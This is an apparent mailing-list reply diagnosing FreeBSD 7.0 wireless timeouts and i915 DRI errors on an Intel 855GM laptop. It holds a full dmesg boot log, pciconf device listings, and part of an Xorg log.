The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD is a registered trademark of The FreeBSD Foundation. FreeBSD 7.0-RELEASE-p6 #0: Mon Nov 24 06:43:33 UTC 2008 root@i386-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC Timecounter "i8254" frequency 1193182 Hz quality 0 CPU: Intel(R) Pentium(R) M processor 1.40GHz (1396.51-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x6d6 Stepping = 6 Features=0xafe9fbbf Features2=0x180 real memory = 770572288 (734 MB) avail memory = 740106240 (705 MB) ACPI APIC Table: ioapic0 irqs 0-23 on motherboard kbd1 at kbdmux0 ath_hal: 0.9.20.3 (AR5210, AR5211, AR5212, RF5111, RF5112, RF2413, RF5413) hptrr: HPT RocketRAID controller driver v1.1 (Nov 24 2008 06:43:09) acpi0: on motherboard acpi0: [ITHREAD] acpi0: Power Button (fixed) Timecounter "ACPI-fast" frequency 3579545 Hz quality 1000 acpi_timer0: <24-bit timer at 3.579545MHz> port 0x1008-0x100b on acpi0 acpi_ec0: port 0x62,0x66 on acpi0 acpi_hpet0: iomem 0-0x3ff on acpi0 device_attach: acpi_hpet0 attach returned 12 cpu0: on acpi0 est0: on cpu0 p4tcc0: on cpu0 acpi_acad0: on acpi0 battery0: on acpi0 acpi_lid0: on acpi0 acpi_button0: on acpi0 pcib0: port 0xcf8-0xcff on acpi0 pci0: on pcib0 pci0: at device 0.1 (no driver attached) pci0: at device 0.3 (no driver attached) vgapci0: port 0x1800-0x1807 mem 0xe8000000-0xefffffff,0xe0000000-0xe007ffff irq 16 at device 2.0 on pci0 agp0: on vgapci0 agp0: detected 32636k stolen memory agp0: aperture size is 128M vgapci1: mem 0xf0000000-0xf7ffffff,0xe0080000-0xe00fffff at device 2.1 on pci0 uhci0: port 0x1820-0x183f irq 16 at device 29.0 on pci0 uhci0: [GIANT-LOCKED] uhci0: [ITHREAD] usb0: on uhci0 usb0: USB revision 1.0 uhub0: on usb0 uhub0: 2 ports with 2 removable, self powered uhci1: port 0x1840-0x185f irq 19 at device 29.1 on pci0 uhci1: [GIANT-LOCKED] uhci1: [ITHREAD] usb1: on uhci1 usb1: USB revision 1.0 uhub1: on usb1 uhub1: 2 ports with 2 removable, self powered uhci2: port 0x1860-0x187f irq 18 at device 29.2 on pci0 uhci2: [GIANT-LOCKED] uhci2: [ITHREAD] usb2: on uhci2 usb2: USB revision 1.0 uhub2: on usb2 uhub2: 2 ports with 2 removable, self powered ehci0: mem 0xe0100000-0xe01003ff irq 23 at device 29.7 on pci0 ehci0: [GIANT-LOCKED] ehci0: [ITHREAD] usb3: EHCI version 1.0 usb3: companion controllers, 2 ports each: usb0 usb1 usb2 usb3: on ehci0 usb3: USB revision 2.0 uhub3: on usb3 uhub3: 6 ports with 6 removable, self powered pcib1: at device 30.0 on pci0 pci2: on pcib1 rl0: port 0x3000-0x30ff mem 0xe0207800-0xe02078ff irq 16 at device 0.0 on pci2 miibus0: on rl0 rlphy0: PHY 0 on miibus0 rlphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto rl0: Ethernet address: 00:c0:9f:5d:01:f9 rl0: [ITHREAD] iwi0: mem 0xe0206000-0xe0206fff irq 18 at device 6.0 on pci2 iwi0: Ethernet address: 00:0e:35:7f:80:1c iwi0: [ITHREAD] cbb0: at device 9.0 on pci2 cardbus0: on cbb0 pccard0: <16-bit PCCard bus> on cbb0 cbb0: [ITHREAD] fwohci0: <1394 Open Host Controller Interface> mem 0xe0207000-0xe02077ff,0xe0200000-0xe0203fff irq 22 at device 9.2 on pci2 fwohci0: [FILTER] fwohci0: OHCI version 1.10 (ROM=1) fwohci0: No. of Isochronous channels is 4. fwohci0: EUI64 00:c0:9f:00:00:2a:b5:31 fwohci0: Phy 1394a available S400, 2 ports. fwohci0: Link S400, max_rec 2048 bytes. firewire0: on fwohci0 fwe0: on firewire0 if_fwe0: Fake Ethernet address: 02:c0:9f:2a:b5:31 fwe0: Ethernet address: 02:c0:9f:2a:b5:31 fwip0: on firewire0 fwip0: Firewire address: 00:c0:9f:00:00:2a:b5:31 @ 0xfffe00000000, S400, maxrec 2048 sbp0: on firewire0 dcons_crom0: on firewire0 dcons_crom0: bus_addr 0x12dc000 fwohci0: Initiate bus reset fwohci0: BUS reset fwohci0: node_id=0xc000ffc0, gen=1, CYCLEMASTER mode pci2: at device 9.3 (no driver attached) pci2: at device 9.4 (no driver attached) isab0: at device 31.0 on pci0 isa0: on isab0 atapci0: port 0x1f0-0x1f7,0x3f6,0x170-0x177,0x376,0x1810-0x181f at device 31.1 on pci0 ata0: on atapci0 ata0: [ITHREAD] ata1: on atapci0 ata1: [ITHREAD] pci0: at device 31.3 (no driver attached) pcm0: port 0x1c00-0x1cff,0x18c0-0x18ff mem 0xe0100c00-0xe0100dff,0xe0100800-0xe01008ff irq 17 at device 31.5 on pci0 pcm0: [ITHREAD] pcm0: pci0: at device 31.6 (no driver attached) acpi_tz0: on acpi0 atkbdc0: port 0x60,0x64 irq 1 on acpi0 atkbd0: irq 1 on atkbdc0 kbd0 at atkbd0 atkbd0: [GIANT-LOCKED] atkbd0: [ITHREAD] psm0: irq 12 on atkbdc0 psm0: [GIANT-LOCKED] psm0: [ITHREAD] psm0: model IntelliMouse, device ID 3 acpi_hpet0: iomem 0-0x3ff on acpi0 device_attach: acpi_hpet0 attach returned 12 pmtimer0 on isa0 orm0: at iomem 0xcd000-0xcdfff,0xdf000-0xdffff,0xe0000-0xe3fff pnpid ORM0000 on isa0 ppc0: parallel port not found. sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 8250 or not responding sio0: [FILTER] sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: port may not be enabled vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 Timecounter "TSC" frequency 1396506060 Hz quality 800 Timecounters tick every 1.000 msec hptrr: no controller detected. firewire0: 1 nodes, maxhop <= 0, cable IRM = 0 (me) firewire0: bus manager 0 (me) ad0: 38154MB at ata0-master UDMA100 acd0: DVDR at ata1-master PIO4 Trying to mount root from ufs:/dev/ad0s1a WARNING: / was not properly dismounted WARNING: /tmp was not properly dismounted WARNING: /usr was not properly dismounted WARNING: /var was not properly dismounted pid 1037 (sendmail), uid 25 inumber 55593 on /var: filesystem full drm0: on vgapci0 info: [drm] AGP at 0xe8000000 128MB info: [drm] Initialized i915 1.5.0 20060119 drm1: on vgapci1 info: [drm] AGP at 0xe8000000 128MB info: [drm] Initialized i915 1.5.0 20060119 iwi0: device timeout iwi0: link state changed to DOWN iwi0: link state changed to UP iwi0: device timeout iwi0: link state changed to DOWN iwi0: link state changed to UP iwi0: device timeout iwi0: link state changed to DOWN iwi0: link state changed to UP error: [drm:pid80083:i915_getparam] *ERROR* i915_getparam called with no initialization iwi0: device timeout iwi0: link state changed to DOWN iwi0: link state changed to UP > * pciconf -lv hostb0@pci0:0:0:0: class=0x060000 card=0x3080103c chip=0x35808086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82852GM/GME/GMV/PM, 855GM/GME Montara Host-Hub Interface Bridge' class = bridge subclass = HOST-PCI none0@pci0:0:0:1: class=0x088000 card=0x3080103c chip=0x35848086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82852GM/GME/GMV/PM, 855GM/GME Montara System Memory Controller' class = base peripheral none1@pci0:0:0:3: class=0x088000 card=0x3080103c chip=0x35858086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82852GM/GME/GMV/PM, 855GM/GME Montara Configuration Process' class = base peripheral vgapci0@pci0:0:2:0: class=0x030000 card=0x3080103c chip=0x35828086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82852GM/GME/GMV/PM, 855GM/GME Montara Integrated Graphics Device' class = display subclass = VGA vgapci1@pci0:0:2:1: class=0x038000 card=0x3080103c chip=0x35828086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82852GM/GME/GMV/PM, 855GM/GME Montara Integrated Graphics Device' class = display uhci0@pci0:0:29:0: class=0x0c0300 card=0x3080103c chip=0x24c28086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) USB UHCI Controller' class = serial bus subclass = USB uhci1@pci0:0:29:1: class=0x0c0300 card=0x3080103c chip=0x24c48086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) USB UHCI Controller' class = serial bus subclass = USB uhci2@pci0:0:29:2: class=0x0c0300 card=0x3080103c chip=0x24c78086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) USB UHCI Controller' class = serial bus subclass = USB ehci0@pci0:0:29:7: class=0x0c0320 card=0x3080103c chip=0x24cd8086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) USB 2.0 EHCI Controller' class = serial bus subclass = USB pcib1@pci0:0:30:0: class=0x060400 card=0x00000000 chip=0x24488086 rev=0x83 hdr=0x01 vendor = 'Intel Corporation' device = '82801BAM/CAM/DBM (ICH2-M/3-M/4-M) Hub Interface to PCI Bridge' class = bridge subclass = PCI-PCI isab0@pci0:0:31:0: class=0x060100 card=0x00000000 chip=0x24cc8086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '82801DBM (ICH4-M) LPC Interface Bridge' class = bridge subclass = PCI-ISA atapci0@pci0:0:31:1: class=0x01018a card=0x3080103c chip=0x24ca8086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '82801DBM (ICH4-M) UltraATA/100 EIDE Controller' class = mass storage subclass = ATA none2@pci0:0:31:3: class=0x0c0500 card=0x3080103c chip=0x24c38086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) SMBus Controller' class = serial bus subclass = SMBus pcm0@pci0:0:31:5: class=0x040100 card=0x3080103c chip=0x24c58086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) AC'97 Audio Controller' class = multimedia subclass = audio none3@pci0:0:31:6: class=0x070300 card=0x3080103c chip=0x24c68086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) AC'97 Modem Controller' class = simple comms subclass = generic modem rl0@pci0:2:0:0: class=0x020000 card=0x3080103c chip=0x813910ec rev=0x10 hdr=0x00 vendor = 'Realtek Semiconductor' device = 'RT8139 (A/B/C/810x/813x/C+) Fast Ethernet Adapter' class = network subclass = ethernet iwi0@pci0:2:6:0: class=0x028000 card=0x12f6103c chip=0x42208086 rev=0x05 hdr=0x00 vendor = 'Intel Corporation' device = 'MPCI3B driverIntel PRO/Wireless 2200BG' class = network cbb0@pci0:2:9:0: class=0x060700 card=0x3080103c chip=0x8031104c rev=0x00 hdr=0x02 vendor = 'Texas Instruments (TI)' device = 'PCIxx21/x515 Cardbus Controller' class = bridge subclass = PCI-CardBus fwohci0@pci0:2:9:2: class=0x0c0010 card=0x3080103c chip=0x8032104c rev=0x00 hdr=0x00 vendor = 'Texas Instruments (TI)' device = 'OHCI Compliant IEEE-1394 FireWire Controller' class = serial bus subclass = FireWire none4@pci0:2:9:3: class=0x018000 card=0x3080103c chip=0x8033104c rev=0x00 hdr=0x00 vendor = 'Texas Instruments (TI)' device = 'PCIxx11/21 Integrated FlashMedia Controller' class = mass storage none5@pci0:2:9:4: class=0x080500 card=0x3080103c chip=0x8034104c rev=0x00 hdr=0x00 vendor = 'Texas Instruments (TI)' device = '10981734 SDA Standard Compliant SD Host Controller' class = base peripheral > > * if you have omni-positional antennas on the AP or not Yes. Linksys WRT350N. > * if the dri problems go away when dri is disabled and no other symptoms show > up That I don't know and I don't think I'm going to be able to help that one now. After my email the missus spilt water and coke on my good laptop and so my little testing laptop is going to need to be recommissioned again for hard labour. I need a stable system to do the work I need it to do with as little errors as possible. Ergo, I haven't got the time to find out now, but I'm obtaining as much info as I can before I kill and refill with something suitable. > * /var/log/Xorg.0.log without the abundance of dri errors X.Org X Server 1.4.2 Release Date: 11 June 2008 X Protocol Version 11, Revision 0 Build Operating System: FreeBSD 7.0-RELEASE i386 Current Operating System: FreeBSD laptop2.herveybayaustralia.com.au 7.0-RELEASE-p6 FreeBSD 7.0-RELEASE-p6 #0: Mon Nov 24 06:43:33 UTC 2008 root@i386-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC i386 Build Date: 28 November 2008 10:08:50PM Before reporting problems, check http://wiki.x.org to make sure that you have the latest version. Module Loader present Markers: (--) probed, (**) from config file, (==) default setting, (++) from command line, (!!) notice, (II) informational, (WW) warning, (EE) error, (NI) not implemented, (??) unknown. (==) Log file: "/var/log/Xorg.0.log", Time: Thu Dec 4 23:47:58 2008 (EE) Unable to locate/open config file (II) Loader magic: 0x81ced80 (II) Module ABI versions: X.Org ANSI C Emulation: 0.3 X.Org Video Driver: 2.0 X.Org XInput driver : 2.0 X.Org Server Extension : 0.3 X.Org Font Renderer : 0.5 (II) Loader running on freebsd (II) LoadModule: "pcidata" (II) Loading /usr/local/lib/xorg/modules//libpcidata.so (II) Module pcidata: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Video Driver, version 2.0 (--) Using syscons driver with X support (version 2.0) (--) using VT number 9 (II) PCI: Probing config type using method 1 (II) PCI: Config type is 1 (II) PCI: stages = 0x03, oldVal1 = 0x8000f908, mode1Res1 = 0x80000000 (WW) OS did not count PCI devices, guessing wildly (II) PCI: PCI scan (all values are in hex) (II) PCI: 00:00:0: chip 8086,3580 card 103c,3080 rev 02 class 06,00,00 hdr 80 (II) PCI: 00:00:1: chip 8086,3584 card 103c,3080 rev 02 class 08,80,00 hdr 00 (II) PCI: 00:00:3: chip 8086,3585 card 103c,3080 rev 02 class 08,80,00 hdr 80 (II) PCI: 00:02:0: chip 8086,3582 card 103c,3080 rev 02 class 03,00,00 hdr 80 (II) PCI: 00:02:1: chip 8086,3582 card 103c,3080 rev 02 class 03,80,00 hdr 80 (II) PCI: 00:1d:0: chip 8086,24c2 card 103c,3080 rev 03 class 0c,03,00 hdr 80 (II) PCI: 00:1d:1: chip 8086,24c4 card 103c,3080 rev 03 class 0c,03,00 hdr 00 (II) PCI: 00:1d:2: chip 8086,24c7 card 103c,3080 rev 03 class 0c,03,00 hdr 00 (II) PCI: 00:1d:7: chip 8086,24cd card 103c,3080 rev 03 class 0c,03,20 hdr 00 (II) PCI: 00:1e:0: chip 8086,2448 card 0000,0000 rev 83 class 06,04,00 hdr 01 (II) PCI: 00:1f:0: chip 8086,24cc card 0000,0000 rev 03 class 06,01,00 hdr 80 (II) PCI: 00:1f:1: chip 8086,24ca card 103c,3080 rev 03 class 01,01,8a hdr 00 (II) PCI: 00:1f:3: chip 8086,24c3 card 103c,3080 rev 03 class 0c,05,00 hdr 00 (II) PCI: 00:1f:5: chip 8086,24c5 card 103c,3080 rev 03 class 04,01,00 hdr 00 (II) PCI: 00:1f:6: chip 8086,24c6 card 103c,3080 rev 03 class 07,03,00 hdr 00 (II) PCI: 02:00:0: chip 10ec,8139 card 103c,3080 rev 10 class 02,00,00 hdr 00 (II) PCI: 02:06:0: chip 8086,4220 card 103c,12f6 rev 05 class 02,80,00 hdr 00 (II) PCI: 02:09:0: chip 104c,8031 card fffc,ffff rev 00 class 06,07,00 hdr 82 (II) PCI: 02:09:2: chip 104c,8032 card 103c,3080 rev 00 class 0c,00,10 hdr 80 (II) PCI: 02:09:3: chip 104c,8033 card 103c,3080 rev 00 class 01,80,00 hdr 80 (II) PCI: 02:09:4: chip 104c,8034 card 103c,3080 rev 00 class 08,05,00 hdr 80 (II) PCI: End of PCI scan (II) Intel Bridge workaround enabled (II) Host-to-PCI bridge: (II) Bus 0: bridge is at (0:0:0), (0,0,3), BCTRL: 0x0008 (VGA_EN is set) (II) Bus 0 I/O range: [0] -1 0 0x00000000 - 0x0000ffff (0x10000) IX[B] (II) Bus 0 non-prefetchable memory range: [0] -1 0 0x00000000 - 0xffffffff (0x0) MX[B] (II) Bus 0 prefetchable memory range: [0] -1 0 0x00000000 - 0xffffffff (0x0) MX[B] (II) Subtractive PCI-to-PCI bridge: (II) Bus 2: bridge is at (0:30:0), (0,2,2), BCTRL: 0x0000 (VGA_EN is cleared) (II) Bus 2 I/O range: [0] -1 0 0x00003000 - 0x00003fff (0x1000) IX[B] (II) Bus 2 non-prefetchable memory range: [0] -1 0 0xe0200000 - 0xe02fffff (0x100000) MX[B] (II) PCI-to-ISA bridge: (II) Bus -1: bridge is at (0:31:0), (0,-1,-1), BCTRL: 0x0008 (VGA_EN is set) (II) PCI-to-CardBus bridge: (II) Bus 3: bridge is at (2:9:0), (2,3,4), BCTRL: 0x0740 (VGA_EN is cleared) (--) PCI:*(0:2:0) Intel Corporation 82852/855GM Integrated Graphics Device rev 2, Mem @ 0xe8000000/27, 0xe0000000/19, I/O @ 0x1800/3 (--) PCI: (0:2:1) Intel Corporation 82852/855GM Integrated Graphics Device rev 2, Mem @ 0xf0000000/27, 0xe0080000/19 New driver is "i810" (==) Using default built-in configuration (55 lines) (==) --- Start of built-in configuration --- Section "Module" Load "extmod" Load "dbe" Load "glx" Load "freetype" Load "type1" Load "record" Load "dri" EndSection Section "Monitor" Identifier "Builtin Default Monitor" EndSection Section "Device" Identifier "Builtin Default i810 Device 0" Driver "i810" EndSection Section "Screen" Identifier "Builtin Default i810 Screen 0" Device "Builtin Default i810 Device 0" Monitor "Builtin Default Monitor" EndSection Section "Device" Identifier "Builtin Default fbdev Device 0" Driver "fbdev" EndSection Section "Screen" Identifier "Builtin Default fbdev Screen 0" Device "Builtin Default fbdev Device 0" Monitor "Builtin Default Monitor" EndSection Section "Device" Identifier "Builtin Default vesa Device 0" Driver "vesa" EndSection Section "Screen" Identifier "Builtin Default vesa Screen 0" Device "Builtin Default vesa Device 0" Monitor "Builtin Default Monitor" EndSection Section "Device" Identifier "Builtin Default vga Device 0" Driver "vga" EndSection Section "Screen" Identifier "Builtin Default vga Screen 0" Device "Builtin Default vga Device 0" Monitor "Builtin Default Monitor" EndSection Section "ServerLayout" Identifier "Builtin Default Layout" Screen "Builtin Default i810 Screen 0" Screen "Builtin Default fbdev Screen 0" Screen "Builtin Default vesa Screen 0" Screen "Builtin Default vga Screen 0" EndSection (==) --- End of built-in configuration --- (==) ServerLayout "Builtin Default Layout" (**) |-->Screen "Builtin Default i810 Screen 0" (0) (**) | |-->Monitor "Builtin Default Monitor" (**) | |-->Device "Builtin Default i810 Device 0" (**) |-->Screen "Builtin Default fbdev Screen 0" (1) (**) | |-->Monitor "Builtin Default Monitor" (**) | |-->Device "Builtin Default fbdev Device 0" (**) |-->Screen "Builtin Default vesa Screen 0" (2) (**) | |-->Monitor "Builtin Default Monitor" (**) | |-->Device "Builtin Default vesa Device 0" (**) |-->Screen "Builtin Default vga Screen 0" (3) (**) | |-->Monitor "Builtin Default Monitor" (**) | |-->Device "Builtin Default vga Device 0" (==) Automatically adding devices (==) Automatically enabling devices (==) No FontPath specified. Using compiled-in default. (==) FontPath set to: /usr/local/lib/X11/fonts/misc/, /usr/local/lib/X11/fonts/TTF/, /usr/local/lib/X11/fonts/OTF, /usr/local/lib/X11/fonts/Type1/, /usr/local/lib/X11/fonts/100dpi/, /usr/local/lib/X11/fonts/75dpi/ (==) RgbPath set to "/usr/local/share/X11/rgb" (==) ModulePath set to "/usr/local/lib/xorg/modules" (==) |-->Input Device "" (==) |-->Input Device "" (==) The core pointer device wasn't specified explicitly in the layout. Using the default mouse configuration. (==) The core keyboard device wasn't specified explicitly in the layout. Using the default keyboard configuration. (II) Addressable bus resource ranges are [0] -1 0 0x00000000 - 0xffffffff (0x0) MX[B] [1] -1 0 0x00000000 - 0x0000ffff (0x10000) IX[B] (II) OS-reported resource ranges: [0] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [1] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [2] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [3] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [4] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [5] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] (II) Active PCI resource ranges: [0] -1 0 0xe0207c00 - 0xe0207fff (0x400) MX[B]E [1] -1 0 0xe0208000 - 0xe020ffff (0x8000) MX[B]E [2] -1 0 0xe0208400 - 0xe02087ff (0x400) MX[B]E [3] -1 0 0xe0204000 - 0xe0207fff (0x4000) MX[B]E [4] -1 0 0xe0200000 - 0xe03fffff (0x200000) MX[B]E [5] -1 0 0xe0207000 - 0xe0207fff (0x1000) MX[B]E [6] -1 0 0xe0206000 - 0xe0207fff (0x2000) MX[B]E [7] -1 0 0xe0207800 - 0xe0207fff (0x800) MX[B]E [8] -1 0 0xe0100800 - 0xe0100fff (0x800) MX[B]E [9] -1 0 0xe0100c00 - 0xe0100fff (0x400) MX[B]E [10] -1 0 0xe0100000 - 0xe01fffff (0x100000) MX[B]E [11] -1 0 0xe0080000 - 0xe00fffff (0x80000) MX[B](B) [12] -1 0 0xf0000000 - 0xf7ffffff (0x8000000) MX[B](B) [13] -1 0 0xe0000000 - 0xe007ffff (0x80000) MX[B](B) [14] -1 0 0xe8000000 - 0xefffffff (0x8000000) MX[B](B) [15] -1 0 0x00003000 - 0x000030ff (0x100) IX[B]E [16] -1 0 0x00002000 - 0x000020ff (0x100) IX[B]E [17] -1 0 0x00002400 - 0x000024ff (0x100) IX[B]E [18] -1 0 0x000018c0 - 0x000018ff (0x40) IX[B]E [19] -1 0 0x00001c00 - 0x00001cff (0x100) IX[B]E [20] -1 0 0x00001880 - 0x000018ff (0x80) IX[B]E [21] -1 0 0x00001810 - 0x0000181f (0x10) IX[B]E [22] -1 0 0x00001860 - 0x0000187f (0x20) IX[B]E [23] -1 0 0x00001840 - 0x0000187f (0x40) IX[B]E [24] -1 0 0x00001820 - 0x0000183f (0x20) IX[B]E [25] -1 0 0x00001800 - 0x00001807 (0x8) IX[B](B) (II) PCI Memory resource overlap reduced 0xe0208000 from 0xe020ffff to 0xe02083ff (II) PCI Memory resource overlap reduced 0xe0204000 from 0xe0207fff to 0xe0205fff (II) PCI Memory resource overlap reduced 0xe0200000 from 0xe03fffff to 0xe0203fff (II) PCI Memory resource overlap reduced 0xe0207000 from 0xe0207fff to 0xe02077ff (II) PCI Memory resource overlap reduced 0xe0206000 from 0xe0207fff to 0xe0206fff (II) PCI Memory resource overlap reduced 0xe0207800 from 0xe0207fff to 0xe0207bff (II) PCI Memory resource overlap reduced 0xe0100800 from 0xe0100fff to 0xe0100bff (II) PCI I/O resource overlap reduced 0x00001880 from 0x000018ff to 0x000018bf (II) PCI Memory resource overlap reduced 0xe0100000 from 0xe01fffff to 0xe01007ff (II) PCI I/O resource overlap reduced 0x00001840 from 0x0000187f to 0x0000185f (II) Active PCI resource ranges after removing overlaps: [0] -1 0 0xe0207c00 - 0xe0207fff (0x400) MX[B]E [1] -1 0 0xe0208000 - 0xe02083ff (0x400) MX[B]E [2] -1 0 0xe0208400 - 0xe02087ff (0x400) MX[B]E [3] -1 0 0xe0204000 - 0xe0205fff (0x2000) MX[B]E [4] -1 0 0xe0200000 - 0xe0203fff (0x4000) MX[B]E [5] -1 0 0xe0207000 - 0xe02077ff (0x800) MX[B]E [6] -1 0 0xe0206000 - 0xe0206fff (0x1000) MX[B]E [7] -1 0 0xe0207800 - 0xe0207bff (0x400) MX[B]E [8] -1 0 0xe0100800 - 0xe0100bff (0x400) MX[B]E [9] -1 0 0xe0100c00 - 0xe0100fff (0x400) MX[B]E [10] -1 0 0xe0100000 - 0xe01007ff (0x800) MX[B]E [11] -1 0 0xe0080000 - 0xe00fffff (0x80000) MX[B](B) [12] -1 0 0xf0000000 - 0xf7ffffff (0x8000000) MX[B](B) [13] -1 0 0xe0000000 - 0xe007ffff (0x80000) MX[B](B) [14] -1 0 0xe8000000 - 0xefffffff (0x8000000) MX[B](B) [15] -1 0 0x00003000 - 0x000030ff (0x100) IX[B]E [16] -1 0 0x00002000 - 0x000020ff (0x100) IX[B]E [17] -1 0 0x00002400 - 0x000024ff (0x100) IX[B]E [18] -1 0 0x000018c0 - 0x000018ff (0x40) IX[B]E [19] -1 0 0x00001c00 - 0x00001cff (0x100) IX[B]E [20] -1 0 0x00001880 - 0x000018bf (0x40) IX[B]E [21] -1 0 0x00001810 - 0x0000181f (0x10) IX[B]E [22] -1 0 0x00001860 - 0x0000187f (0x20) IX[B]E [23] -1 0 0x00001840 - 0x0000185f (0x20) IX[B]E [24] -1 0 0x00001820 - 0x0000183f (0x20) IX[B]E [25] -1 0 0x00001800 - 0x00001807 (0x8) IX[B](B) (II) OS-reported resource ranges after removing overlaps with PCI: [0] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [1] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [2] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [3] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [4] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [5] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] (II) All system resource ranges: [0] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [1] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [2] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [3] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [4] -1 0 0xe0207c00 - 0xe0207fff (0x400) MX[B]E [5] -1 0 0xe0208000 - 0xe02083ff (0x400) MX[B]E [6] -1 0 0xe0208400 - 0xe02087ff (0x400) MX[B]E [7] -1 0 0xe0204000 - 0xe0205fff (0x2000) MX[B]E [8] -1 0 0xe0200000 - 0xe0203fff (0x4000) MX[B]E [9] -1 0 0xe0207000 - 0xe02077ff (0x800) MX[B]E [10] -1 0 0xe0206000 - 0xe0206fff (0x1000) MX[B]E [11] -1 0 0xe0207800 - 0xe0207bff (0x400) MX[B]E [12] -1 0 0xe0100800 - 0xe0100bff (0x400) MX[B]E [13] -1 0 0xe0100c00 - 0xe0100fff (0x400) MX[B]E [14] -1 0 0xe0100000 - 0xe01007ff (0x800) MX[B]E [15] -1 0 0xe0080000 - 0xe00fffff (0x80000) MX[B](B) [16] -1 0 0xf0000000 - 0xf7ffffff (0x8000000) MX[B](B) [17] -1 0 0xe0000000 - 0xe007ffff (0x80000) MX[B](B) [18] -1 0 0xe8000000 - 0xefffffff (0x8000000) MX[B](B) [19] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [20] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] [21] -1 0 0x00003000 - 0x000030ff (0x100) IX[B]E [22] -1 0 0x00002000 - 0x000020ff (0x100) IX[B]E [23] -1 0 0x00002400 - 0x000024ff (0x100) IX[B]E [24] -1 0 0x000018c0 - 0x000018ff (0x40) IX[B]E [25] -1 0 0x00001c00 - 0x00001cff (0x100) IX[B]E [26] -1 0 0x00001880 - 0x000018bf (0x40) IX[B]E [27] -1 0 0x00001810 - 0x0000181f (0x10) IX[B]E [28] -1 0 0x00001860 - 0x0000187f (0x20) IX[B]E [29] -1 0 0x00001840 - 0x0000185f (0x20) IX[B]E [30] -1 0 0x00001820 - 0x0000183f (0x20) IX[B]E [31] -1 0 0x00001800 - 0x00001807 (0x8) IX[B](B) (II) "extmod" will be loaded. This was enabled by default and also specified in the config file. (II) "dbe" will be loaded. This was enabled by default and also specified in the config file. (II) "glx" will be loaded. This was enabled by default and also specified in the config file. (II) "freetype" will be loaded. This was enabled by default and also specified in the config file. (II) "type1" will be loaded. This was enabled by default and also specified in the config file. (II) "record" will be loaded. This was enabled by default and also specified in the config file. (II) "dri" will be loaded. This was enabled by default and also specified in the config file. (II) LoadModule: "extmod" (II) Loading /usr/local/lib/xorg/modules/extensions//libextmod.so (II) Module extmod: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 Module class: X.Org Server Extension ABI class: X.Org Server Extension, version 0.3 (II) Loading extension SHAPE (II) Loading extension MIT-SUNDRY-NONSTANDARD (II) Loading extension BIG-REQUESTS (II) Loading extension SYNC (II) Loading extension MIT-SCREEN-SAVER (II) Loading extension XC-MISC (II) Loading extension XFree86-VidModeExtension (II) Loading extension XFree86-Misc (II) Loading extension XFree86-DGA (II) Loading extension DPMS (II) Loading extension TOG-CUP (II) Loading extension Extended-Visual-Information (II) Loading extension XVideo (II) Loading extension XVideo-MotionCompensation (II) Loading extension X-Resource (II) LoadModule: "dbe" (II) Loading /usr/local/lib/xorg/modules/extensions//libdbe.so (II) Module dbe: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 Module class: X.Org Server Extension ABI class: X.Org Server Extension, version 0.3 (II) Loading extension DOUBLE-BUFFER (II) LoadModule: "glx" (II) Loading /usr/local/lib/xorg/modules/extensions//libglx.so (II) Module glx: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Server Extension, version 0.3 (==) AIGLX disabled (II) Loading extension GLX (II) LoadModule: "freetype" (II) 